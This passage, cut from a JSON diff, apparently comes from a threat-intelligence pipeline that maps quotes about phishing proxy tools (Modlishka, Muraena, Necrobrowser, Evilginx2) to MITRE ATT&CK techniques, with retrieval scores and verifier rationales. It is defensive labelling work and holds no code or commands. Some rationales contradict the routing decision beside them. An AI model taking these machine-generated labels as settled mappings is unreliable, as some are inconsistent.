"Windows Credential Manager", + "dense_score": 0.6076288223266602, + "rerank_score": 0.91015625, + "rerank_rank": 2, + "late_interaction_score": 18.09085464477539, + "dense_rank": 20, + "late_interaction_rank": 97, + "fusion_score": 0.01867479293639631, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1078", + "name": "Valid Accounts", + "dense_score": 0.5942695140838623, + "rerank_score": 0.5, + "rerank_rank": 3, + "late_interaction_score": 18.462722778320312, + "dense_rank": 25, + "late_interaction_rank": 40, + "fusion_score": 0.02152889707575409, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1033", + "name": "System Owner/User Discovery", + "dense_score": 0.5352137088775635, + "rerank_score": 0.46875, + "rerank_rank": 4, + "late_interaction_score": 19.159875869750977, + "dense_rank": 119, + "late_interaction_rank": 4, + "fusion_score": 0.020940170940170942, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1555", + "name": "Credentials from Password Stores", + "dense_score": 0.6204845905303955, + "rerank_score": 0.37890625, + "rerank_rank": 5, + "late_interaction_score": 18.070846557617188, + "dense_rank": 12, + "late_interaction_rank": 102, + "fusion_score": 0.05013662976516998, + "exemplar_score": 0.7534921169281006, + "exemplar_rank": 5, + "exemplar_quote": "It also has a wide range of information-stealing abilities including browser credential theft, keylogging, screen capture, and remote enabling of webcams.", + "exemplar_document": "zscaler_2021-05-05_catching-rats-over-custom-protocols" + }, + { + "technique_id": "T1555.005", + "name": "Password Managers", + "dense_score": 0.6015878915786743, + "rerank_score": 0.333984375, + "rerank_rank": 6, + "late_interaction_score": 18.15018653869629, + "dense_rank": 22, + "late_interaction_rank": 81, + "fusion_score": 0.0190904462922111, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1056", + "name": "Input Capture", + "dense_score": 0.6904916763305664, + "rerank_score": 0.28125, + "rerank_rank": 7, + "late_interaction_score": 18.784160614013672, + "dense_rank": 2, + "late_interaction_rank": 12, + "fusion_score": 0.061829710526131204, + "exemplar_score": 0.7675273418426514, + "exemplar_rank": 1, + "exemplar_quote": "When a particular provider is clicked, a pop-up box (Figure 3) displays the actual credential phishing box.", + "exemplar_document": "proofpoint_2021-07-13_operation-spoofedscholars-conversation-ta453" + }, + { + "technique_id": "T1003", + "name": "OS Credential Dumping", + "dense_score": 0.6530249118804932, + "rerank_score": 0.22265625, + "rerank_rank": 8, + "late_interaction_score": 18.7739200592041, + "dense_rank": 9, + "late_interaction_rank": 13, + "fusion_score": 0.027799227799227798, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1589.001", + "name": "Credentials", + "dense_score": 0.7137402296066284, + "rerank_score": 0.1640625, + "rerank_rank": 9, + "late_interaction_score": 18.734180450439453, + "dense_rank": 0, + "late_interaction_rank": 17, + "fusion_score": 0.02921395544346364, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + } + ], + "verifier_model": "Qwen/Qwen3.6-27B:no-spec", + "escalated": false, + "exemplar_agreement": false, + "selected_technique": null + }, + { + "behavior": { + "quote": "integrates Let’s Encrypt so it can make the fake domain landing page just a bit more believable by encrypting the traffic", + "summary": "Modlishka encrypts traffic using Let's Encrypt", + "source_start": 4863, + "source_end": 4984, + "entities": [ + { + "text": "traffic", + "label": "network protocol", + "score": 0.61767578125, + "start": 4977, + "end": 4984 + } + ], + "actor": "Modlishka", + "action": "encrypting", + "object": "traffic", + "tool": "Modlishka", + "target": "fake domain landing page", + "assertion": "capability" + }, + "route": "analyst_review", + "status": "needs_analyst_review", + "selected_technique_id": "T1573", + "support": "supported", + "evidence_quote": "encrypting the traffic", + "rationale": "The quote states the actor is encrypting traffic to make a fake domain landing page more believable, which aligns with T1573 Encrypted Channel for concealing command and control activity.", + "candidates": [ + { + "technique_id": "T1608.003", + "name": "Install Digital Certificate", + "dense_score": 0.6915804147720337, + "rerank_score": 0.99609375, + "rerank_rank": 0, + "late_interaction_score": 17.11453628540039, + "dense_rank": 2, + "late_interaction_rank": 220, + "fusion_score": 0.019431734734225835, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1588.004", + "name": "Digital Certificates", + "dense_score": 0.6687363386154175, + "rerank_score": 0.9921875, + "rerank_rank": 1, + "late_interaction_score": 18.239194869995117, + "dense_rank": 3, + "late_interaction_rank": 7, + "fusion_score": 0.030330882352941176, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1587.003", + "name": "Digital Certificates", + "dense_score": 0.6606926321983337, + "rerank_score": 0.8984375, + "rerank_rank": 2, + "late_interaction_score": 17.1199951171875, + "dense_rank": 4, + "late_interaction_rank": 217, + "fusion_score": 0.018981737686773657, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1001.003", + "name": "Protocol or Service Impersonation", + "dense_score": 0.7357926964759827, + "rerank_score": 0.77734375, + "rerank_rank": 3, + "late_interaction_score": 18.791213989257812, + "dense_rank": 0, + "late_interaction_rank": 0, + "fusion_score": 0.03278688524590164, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1573", + "name": "Encrypted Channel", + "dense_score": 0.659930944442749, + "rerank_score": 0.62109375, + "rerank_rank": 4, + "late_interaction_score": 17.75897789001465, + "dense_rank": 5, + "late_interaction_rank": 52, + "fusion_score": 0.05477030344286982, + "exemplar_score": 0.7690713405609131, + "exemplar_rank": 4, + "exemplar_quote": "SSL inspection is advisable to detect and block such threats using SSL to hide their malicious intent.", + "exemplar_document": "zscaler_2021-04-14_look-hydrojiin-campaign" + }, + { + "technique_id": "T1036", + "name": "Masquerading", + "dense_score": 0.6145291328430176, + "rerank_score": 0.59375, + "rerank_rank": 5, + "late_interaction_score": 17.84760284423828, + "dense_rank": 18, + "late_interaction_rank": 35, + "fusion_score": 0.05586177976066957, + "exemplar_score": 0.8519479036331177, + "exemplar_rank": 0, + "exemplar_quote": "The attacker serves JavaScript using legitimate-looking domains in an attempt to make the traffic look benign.", + "exemplar_document": "zscaler_2021-05-11_magecart-attacks-2021" + }, + { + "technique_id": "T1596.003", + "name": "Digital Certificates", + "dense_score": 0.6090125441551208, + "rerank_score": 0.53125, + "rerank_rank": 6, + "late_interaction_score": 18.501558303833008, + "dense_rank": 23, + "late_interaction_rank": 1, + "fusion_score": 0.02803379416282642, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1608", + "name": "Stage Capabilities", + "dense_score": 0.60957932472229, + "rerank_score": 0.306640625, + "rerank_rank": 7, + "late_interaction_score": 17.23586654663086, + "dense_rank": 22, + "late_interaction_rank": 180, + "fusion_score": 0.04322459739147236, + "exemplar_score": 0.7114757299423218, + "exemplar_rank": 13, + "exemplar_quote": "This campaign uses Discord services to form a URL to host malicious payloads as follows: *https://cdn.discordapp.com/attachments/ChannelID/AttachmentID/filename.exe*", + "exemplar_document": "zscaler_2021-02-09_discord-cdn-popular-choice-hosting" + }, + { + "technique_id": "T1649", + "name": "Steal or Forge Authentication Certificates", + "dense_score": 0.6053801774978638, + "rerank_score": 0.306640625, + "rerank_rank": 8, + "late_interaction_score": 17.056291580200195, + "dense_rank": 26, + "late_interaction_rank": 236, + "fusion_score": 0.014861256240566586, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1573.002", + "name": "Asymmetric Cryptography", + "dense_score": 0.5552467107772827, + "rerank_score": 0.2333984375, + "rerank_rank": 9, + "late_interaction_score": 17.508813858032227, + "dense_rank": 86, + "late_interaction_rank": 104, + "fusion_score": 0.04103234123354848, + "exemplar_score": 0.7299687266349792, + "exemplar_rank": 10, + "exemplar_quote": "This is for several reasons: first, malicious traffic blends in more easily with legitimate traffic on standard protocols like HTTP/S; second, companies that rely on appliances for security often don’t inspect all SSL/TLS encrypted traffic as it is extremely resource-intensive to do so.", + "exemplar_document": "zscaler_2021-05-05_catching-rats-over-custom-protocols" + } + ], + "verifier_model": "Qwen/Qwen3.6-27B:no-spec", + "escalated": false, + "exemplar_agreement": false, + "selected_technique": { + "technique_id": "T1573", + "name": "Encrypted Channel", + "description": "Adversaries may employ an encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.", + "tactics": [ + "command and control" + ], + "platforms": [ + "ESXi", + "Linux", + "Network Devices", + "Windows", + "macOS" + ], + "is_subtechnique": false, + "attack_url": "https://attack.mitre.org/techniques/T1573", + "stix_id": "attack-pattern--b8902400-e6c5-4ba2-95aa-2d35b442b118", + "modified": "2025-10-24T17:49:17.042Z" + } + }, + { + "behavior": { + "quote": "Muraena runs server-side and uses a crawler to scan the target site to ensure it can properly rewrite all the traffic needed to not alert the victim", + "summary": "Muraena scans target site to rewrite traffic", + "source_start": 5689, + "source_end": 5837, + "entities": [ + { + "text": "Muraena", + "label": "software tool", + "score": 0.83544921875, + "start": 5689, + "end": 5696 + }, + { + "text": "server-side", + "label": "infrastructure", + "score": 0.515625, + "start": 5702, + "end": 5713 + }, + { + "text": "crawler", + "label": "software tool", + "score": 0.53369140625, + "start": 5725, + "end": 5732 + } + ], + "actor": "Muraena", + "action": "scan", + "object": "target site", + "tool": "Muraena", + "target": "target site", + "assertion": "capability" + }, + "route": "abstain", + "status": "no_mapping_suggested", + "selected_technique_id": null, + "support": "unsupported", + "evidence_quote": "", + "rationale": "The quote describes defensive evasion via traffic rewriting rather than adversary reconnaissance or scanning for vulnerabilities.", + "candidates": [ + { + "technique_id": "T1593.002", + "name": "Search Engines", + "dense_score": 0.5654051899909973, + "rerank_score": 0.89453125, + "rerank_rank": 0, + "late_interaction_score": 18.113712310791016, + "dense_rank": 9, + "late_interaction_rank": 29, + "fusion_score": 0.025396825396825397, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1595.003", + "name": "Wordlist Scanning", + "dense_score": 0.6040467023849487, + "rerank_score": 0.73046875, + "rerank_rank": 1, + "late_interaction_score": 19.165979385375977, + "dense_rank": 3, + "late_interaction_rank": 2, + "fusion_score": 0.03149801587301587, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1595.002", + "name": "Vulnerability Scanning", + "dense_score": 0.6432299017906189, + "rerank_score": 0.65234375, + "rerank_rank": 2, + "late_interaction_score": 19.007150650024414, + "dense_rank": 0, + "late_interaction_rank": 3, + "fusion_score": 0.032018442622950824, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1594", + "name": "Search Victim-Owned Websites", + "dense_score": 0.6277994513511658, + "rerank_score": 0.5625, + "rerank_rank": 3, + "late_interaction_score": 17.887454986572266, + "dense_rank": 2, + "late_interaction_rank": 42, + "fusion_score": 0.02558175373709354, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1593", + "name": "Search Open Websites/Domains", + "dense_score": 0.5544396638870239, + "rerank_score": 0.5625, + "rerank_rank": 4, + "late_interaction_score": 17.9611873626709, + "dense_rank": 12, + "late_interaction_rank": 36, + "fusion_score": 0.024007908487501763, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1608.006", + "name": "SEO Poisoning", + "dense_score": 0.5181373953819275, + "rerank_score": 0.439453125, + "rerank_rank": 5, + "late_interaction_score": 17.67900276184082, + "dense_rank": 28, + "late_interaction_rank": 66, + "fusion_score": 0.01910997080421127, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1659", + "name": "Content Injection", + "dense_score": 0.5068916082382202, + "rerank_score": 0.173828125, + "rerank_rank": 6, + "late_interaction_score": 17.602718353271484, + "dense_rank": 39, + "late_interaction_rank": 78, + "fusion_score": 0.017194244604316546, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1590", + "name": "Gather Victim Network Information", + "dense_score": 0.5525520443916321, + "rerank_score": 0.15625, + "rerank_rank": 7, + "late_interaction_score": 18.818639755249023, + "dense_rank": 14, + "late_interaction_rank": 7, + "fusion_score": 0.02803921568627451, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1592", + "name": "Gather Victim Host Information", + "dense_score": 0.5623576045036316, + "rerank_score": 0.125, + "rerank_rank": 8, + "late_interaction_score": 18.58256721496582, + "dense_rank": 11, + "late_interaction_rank": 11, + "fusion_score": 0.027777777777777776, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1583.004", + "name": "Server", + "dense_score": 0.5402916669845581, + "rerank_score": 0.125, + "rerank_rank": 9, + "late_interaction_score": 17.261259078979492, + "dense_rank": 16, + "late_interaction_rank": 147, + "fusion_score": 0.017794705294705296, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + } + ], + "verifier_model": "Qwen/Qwen3.6-27B:no-spec", + "escalated": false, + "exemplar_agreement": false, + "selected_technique": null + }, + { + "behavior": { + "quote": "Once the victim's credentials and session cookie has been harvested by the threat actor, they can deploy Necrobrowser", + "summary": "Threat actor deploys Necrobrowser after harvesting credentials", + "source_start": 5839, + "source_end": 5956, + "entities": [], + "actor": "threat actor", + "action": "deploy", + "object": "Necrobrowser", + "tool": "Necrobrowser", + "target": "", + "assertion": "observed" + }, + "route": "suggested_mapping", + "status": "needs_analyst_review", + "selected_technique_id": "T1539", + "support": "supported", + "evidence_quote": "Once the victim's credentials and session cookie has been harvested by the threat actor, they can deploy Necrobrowser", + "rationale": "The quote states the actor harvested a session cookie to deploy Necrobrowser, matching T1539 Steal Web Session Cookie definition of stealing cookies for access.", + "candidates": [ + { + "technique_id": "T1539", + "name": "Steal Web Session Cookie", + "dense_score": 0.7048832178115845, + "rerank_score": 0.99609375, + "rerank_rank": 0, + "late_interaction_score": 18.112411499023438, + "dense_rank": 0, + "late_interaction_rank": 292, + "fusion_score": 0.052013189058654166, + "exemplar_score": 0.8407688140869141, + "exemplar_rank": 0, + "exemplar_quote": "It can steal credentials such as passwords, website cookies, credit card data, system information, and bitcoin wallet contents.", + "exemplar_document": "proofpoint_2021-07-01_malware-masquerades-privacy-tool" + }, + { + "technique_id": "T1550.004", + "name": "Web Session Cookie", + "dense_score": 0.6861810684204102, + "rerank_score": 0.98828125, + "rerank_rank": 1, + "late_interaction_score": 17.949993133544922, + "dense_rank": 1, + "late_interaction_rank": 438, + "fusion_score": 0.01813304027409658, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1185", + "name": "Browser Session Hijacking", + "dense_score": 0.6762105226516724, + "rerank_score": 0.9453125, + "rerank_rank": 2, + "late_interaction_score": 18.58002281188965, + "dense_rank": 2, + "late_interaction_rank": 76, + "fusion_score": 0.02317228594600857, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1078", + "name": "Valid Accounts", + "dense_score": 0.5613085031509399, + "rerank_score": 0.5, + "rerank_rank": 3, + "late_interaction_score": 18.217464447021484, + "dense_rank": 21, + "late_interaction_rank": 209, + "fusion_score": 0.04531059036080557, + "exemplar_score": 0.784856915473938, + "exemplar_rank": 7, + "exemplar_quote": "Infostealer is one of the most profitable tools for cybercriminals, as information gathered from systems infected with this malware could be sold in the cybercrime underground or used for credential stuffing attacks.", + "exemplar_document": "zscaler_2020-08-14_purplewave-new-infostealer-russia" + }, + { + "technique_id": "T1217", + "name": "Browser Information Discovery", + "dense_score": 0.6078542470932007, + "rerank_score": 0.439453125, + "rerank_rank": 4, + "late_interaction_score": 18.93047332763672, + "dense_rank": 9, + "late_interaction_rank": 31, + "fusion_score": 0.05690131124913733, + "exemplar_score": 0.8013863563537598, + "exemplar_rank": 2, + "exemplar_quote": "PurpleWave is capable of stealing credentials, autofills data, card data, cookies, and browser history from Chromium and Mozilla.", + "exemplar_document": "zscaler_2020-08-14_purplewave-new-infostealer-russia" + }, + { + "technique_id": "T1056", + "name": "Input Capture", + "dense_score": 0.5605685114860535, + "rerank_score": 0.34765625, + "rerank_rank": 5, + "late_interaction_score": 18.004608154296875, + "dense_rank": 23, + "late_interaction_rank": 393, + "fusion_score": 0.045357405076568075, + "exemplar_score": 0.7982263565063477, + "exemplar_rank": 3, + "exemplar_quote": "* The email conversations were benign until TA453 provided a link to a compromised website hosting a credential harvesting page.", + "exemplar_document": "proofpoint_2021-07-13_operation-spoofedscholars-conversation-ta453" + }, + { + "technique_id": "T1555.003", + "name": "Credentials from Web Browsers", + "dense_score": 0.6262795925140381, + "rerank_score": 0.29296875, + "rerank_rank": 6, + "late_interaction_score": 18.369956970214844, + "dense_rank": 6, + "late_interaction_rank": 127, + "fusion_score": 0.04881595064192714, + "exemplar_score": 0.7747913599014282, + "exemplar_rank": 9, + "exemplar_quote": "| T1503 | Credentials from Web Browsers |", + "exemplar_document": "zscaler_2020-07-10_deep-dive-m00nd3v-logger" + }, + { + "technique_id": "T1589.001", + "name": "Credentials", + "dense_score": 0.5481883883476257, + "rerank_score": 0.2109375, + "rerank_rank": 7, + "late_interaction_score": 18.119821548461914, + "dense_rank": 29, + "late_interaction_rank": 285, + "fusion_score": 0.014001284521515736, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1606.001", + "name": "Web Cookies", + "dense_score": 0.6614929437637329, + "rerank_score": 0.10693359375, + "rerank_rank": 8, + "late_interaction_score": 17.716575622558594, + "dense_rank": 3, + "late_interaction_rank": 637, + "fusion_score": 0.017057664756446992, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1555", + "name": "Credentials from Password Stores", + "dense_score": 0.48584651947021484, + "rerank_score": 0.09033203125, + "rerank_rank": 9, + "late_interaction_score": 17.5587100982666, + "dense_rank": 206, + "late_interaction_rank": 688, + "fusion_score": 0.03733849635283515, + "exemplar_score": 0.8263927102088928, + "exemplar_rank": 1, + "exemplar_quote": "**Password stealer:** M00nD3V Logger has the capability to steal passwords and cookies from all possible browsers and email clients, as well as FTP clients.", + "exemplar_document": "zscaler_2020-07-10_deep-dive-m00nd3v-logger" + } + ], + "verifier_model": "Qwen/Qwen3.6-27B:no-spec", + "escalated": false, + "exemplar_agreement": true, + "selected_technique": { + "technique_id": "T1539", + "name": "Steal Web Session Cookie", + "description": "An adversary may steal web application or service session cookies and use them to gain access to web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website. Cookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypasses some multi-factor authentication protocols. There are several examples of malware targeting cookies from web browsers on the local system. Adversaries may also steal cookies by injecting malicious JavaScript content into websites or relying on User Execution by tricking victims into running malicious JavaScript in their browser. There are also open source frameworks such as `Evilginx2` and `Muraena` that can gather session cookies through a malicious proxy (e.g., Adversary-in-the-Middle) that can be set up by an adversary and used in phishing campaigns. After an adversary acquires a valid cookie, they can then perform a Web Session Cookie technique to login to the corresponding web application.", + "tactics": [ + "credential access" + ], + "platforms": [ + "Linux", + "Office Suite", + "SaaS", + "Windows", + "macOS" + ], + "is_subtechnique": false, + "attack_url": "https://attack.mitre.org/techniques/T1539", + "stix_id": "attack-pattern--10ffac09-e42d-4f56-ab20-db94c67d76ff", + "modified": "2026-05-12T15:12:00.621Z" + } + }, + { + "behavior": { + "quote": "do things such as change passwords, disable Google Workspace notifications, dump emails, change SSH session keys in GitHub, and download all code repositories", + "summary": "Necrobrowser changes passwords, disables notifications, dumps emails, changes SSH keys, and downloads repositories", + "source_start": 6143, + "source_end": 6301, + "entities": [ + { + "text": "SSH", + "label": "network protocol", + "score": 0.66455078125, + "start": 6239, + "end": 6242 + }, + { + "text": "SSH session keys", + "label": "authentication token", + "score": 0.5185546875, + "start": 6239, + "end": 6255 + } + ], + "actor": "Necrobrowser", + "action": "change passwords, disable Google Workspace notifications, dump emails, change SSH session keys in GitHub, and download all code repositories", + "object": "passwords, Google Workspace notifications, emails, SSH session keys in GitHub, code repositories", + "tool": "Necrobrowser", + "target": "target site", + "assertion": "capability" + }, + "route": "abstain", + "status": "no_mapping_suggested", + "selected_technique_id": null, + "support": "unsupported", + "evidence_quote": "", + "rationale": "The quote describes modifying credentials and access controls to maintain or elevate access, which aligns with the definition of Account Manipulation.", + "candidates": [ + { + "technique_id": "T1098", + "name": "Account Manipulation", + "dense_score": 0.6484788060188293, + "rerank_score": 0.953125, + "rerank_rank": 0, + "late_interaction_score": 17.95212173461914, + "dense_rank": 3, + "late_interaction_rank": 16, + "fusion_score": 0.028612012987012988, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1213.003", + "name": "Code Repositories", + "dense_score": 0.6719264388084412, + "rerank_score": 0.91015625, + "rerank_rank": 1, + "late_interaction_score": 17.14737319946289, + "dense_rank": 0, + "late_interaction_rank": 214, + "fusion_score": 0.020029806259314456, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1593.003", + "name": "Code Repositories", + "dense_score": 0.6400673389434814, + "rerank_score": 0.73046875, + "rerank_rank": 2, + "late_interaction_score": 17.184141159057617, + "dense_rank": 5, + "late_interaction_rank": 193, + "fusion_score": 0.0190885230255309, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1114.002", + "name": "Remote Email Collection", + "dense_score": 0.6092963814735413, + "rerank_score": 0.65234375, + "rerank_rank": 3, + "late_interaction_score": 18.216264724731445, + "dense_rank": 16, + "late_interaction_rank": 4, + "fusion_score": 0.028371628371628373, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1087.003", + "name": "Email Account", + "dense_score": 0.5852106809616089, + "rerank_score": 0.65234375, + "rerank_rank": 4, + "late_interaction_score": 18.88166046142578, + "dense_rank": 37, + "late_interaction_rank": 0, + "fusion_score": 0.026597524255603883, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1531", + "name": "Account Access Removal", + "dense_score": 0.6576811075210571, + "rerank_score": 0.62109375, + "rerank_rank": 5, + "late_interaction_score": 18.05268096923828, + "dense_rank": 1, + "late_interaction_rank": 10, + "fusion_score": 0.03021353930031804, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1003.008", + "name": "/etc/passwd and /etc/shadow", + "dense_score": 0.5394467711448669, + "rerank_score": 0.62109375, + "rerank_rank": 6, + "late_interaction_score": 17.982643127441406, + "dense_rank": 147, + "late_interaction_rank": 13, + "fusion_score": 0.018321205821205822, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1098.004", + "name": "SSH Authorized Keys", + "dense_score": 0.580009937286377, + "rerank_score": 0.59375, + "rerank_rank": 7, + "late_interaction_score": 18.126544952392578, + "dense_rank": 43, + "late_interaction_rank": 8, + "fusion_score": 0.024108138238573024, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1114", + "name": "Email Collection", + "dense_score": 0.556622326374054, + "rerank_score": 0.439453125, + "rerank_rank": 8, + "late_interaction_score": 17.05004119873047, + "dense_rank": 101, + "late_interaction_rank": 285, + "fusion_score": 0.03609003994360449, + "exemplar_score": 0.6567260026931763, + "exemplar_rank": 13, + "exemplar_quote": "* Email password stealer (MailPassView)", + "exemplar_document": "zscaler_2021-01-29_did-covid-cancel-christmas-cybercriminals" + }, + { + "technique_id": "T1586.002", + "name": "Email Accounts", + "dense_score": 0.6107841730117798, + "rerank_score": 0.3203125, + "rerank_rank": 9, + "late_interaction_score": 17.306398391723633, + "dense_rank": 15, + "late_interaction_rank": 127, + "fusion_score": 0.018477043673012318, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + } + ], + "verifier_model": "Qwen/Qwen3.6-27B:no-spec", + "escalated": false, + "exemplar_agreement": false, + "selected_technique": null + }, + { + "behavior": { + "quote": "Evilginx2 is an easy to use, transparent reverse proxy written in Golang", + "summary": "Evilginx2 acts as a transparent reverse proxy", + "source_start": 6314, + "source_end": 6386, + "entities": [], + "actor": "Evilginx2", + "action": "acts as", + "object": "transparent reverse proxy", + "tool": "Evilginx2", + "target": "", + "assertion": "capability" + }, + "route": "analyst_review", + "status": "needs_analyst_review", + "selected_technique_id": "T1557", + "support": "supported", + "evidence_quote": "Evilginx2 is an easy to use, transparent reverse proxy written in Golang", + "rationale": "The quote describes Evilginx2 as a transparent reverse proxy, which aligns with the Adversary-in-the-Middle technique where adversaries position themselves between networked devices to intercept traffic.", + "candidates": [ + { + "technique_id": "T1090", + "name": "Proxy", + "dense_score": 0.6554739475250244, + "rerank_score": 0.99609375, + "rerank_rank": 0, + "late_interaction_score": 17.801921844482422, + "dense_rank": 0, + "late_interaction_rank": 6, + "fusion_score": 0.06208804652650995, + "exemplar_score": 0.7414587140083313, + "exemplar_rank": 4, + "exemplar_quote": "*Figure 19: Communication via proxy.*", + "exemplar_document": "zscaler_2020-07-10_deep-dive-m00nd3v-logger" + }, + { + "technique_id": "T1090.002", + "name": "External Proxy", + "dense_score": 0.6527096033096313, + "rerank_score": 0.984375, + "rerank_rank": 1, + "late_interaction_score": 17.869388580322266, + "dense_rank": 1, + "late_interaction_rank": 4, + "fusion_score": 0.0315136476426799, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1090.001", + "name": "Internal Proxy", + "dense_score": 0.6510593891143799, + "rerank_score": 0.9609375, + "rerank_rank": 2, + "late_interaction_score": 17.691492080688477, + "dense_rank": 2, + "late_interaction_rank": 10, + "fusion_score": 0.029957522915269395, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1598.003", + "name": "Spearphishing Link", + "dense_score": 0.6126411557197571, + "rerank_score": 0.8984375, + "rerank_rank": 3, + "late_interaction_score": 16.967308044433594, + "dense_rank": 7, + "late_interaction_rank": 234, + "fusion_score": 0.01809571286141575, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1218", + "name": "System Binary Proxy Execution", + "dense_score": 0.5441039204597473, + "rerank_score": 0.80859375, + "rerank_rank": 4, + "late_interaction_score": 17.42691421508789, + "dense_rank": 50, + "late_interaction_rank": 43, + "fusion_score": 0.018624393624393623, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1127", + "name": "Trusted Developer Utilities Proxy Execution", + "dense_score": 0.5556628108024597, + "rerank_score": 0.77734375, + "rerank_rank": 5, + "late_interaction_score": 17.789676666259766, + "dense_rank": 41, + "late_interaction_rank": 8, + "fusion_score": 0.02429667519181586, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1090.003", + "name": "Multi-hop Proxy", + "dense_score": 0.6216782927513123, + "rerank_score": 0.73046875, + "rerank_rank": 6, + "late_interaction_score": 17.51686668395996, + "dense_rank": 5, + "late_interaction_rank": 33, + "fusion_score": 0.02578981302385558, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1557", + "name": "Adversary-in-the-Middle", + "dense_score": 0.6153723001480103, + "rerank_score": 0.65234375, + "rerank_rank": 7, + "late_interaction_score": 17.090248107910156, + "dense_rank": 6, + "late_interaction_rank": 159, + "fusion_score": 0.04511185332080854, + "exemplar_score": 0.7040311694145203, + "exemplar_rank": 17, + "exemplar_quote": "If macros are enabled, it will install and run The Trick, a trojan that intercepts and logs banking website visits to steal credentials.", + "exemplar_document": "proofpoint_2021-05-18_threat-actors-exploit-microsoft-and" + }, + { + "technique_id": "T1665", + "name": "Hide Infrastructure", + "dense_score": 0.5671545267105103, + "rerank_score": 0.62109375, + "rerank_rank": 8, + "late_interaction_score": 17.568359375, + "dense_rank": 28, + "late_interaction_rank": 27, + "fusion_score": 0.02259959141981614, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1496.004", + "name": "Cloud Service Hijacking", + "dense_score": 0.5035362243652344, + "rerank_score": 0.59375, + "rerank_rank": 9, + "late_interaction_score": 17.858287811279297, + "dense_rank": 146, + "late_interaction_rank": 5, + "fusion_score": 0.019982433025911288, + "exemplar_score": null, + "exemplar_rank": null, + 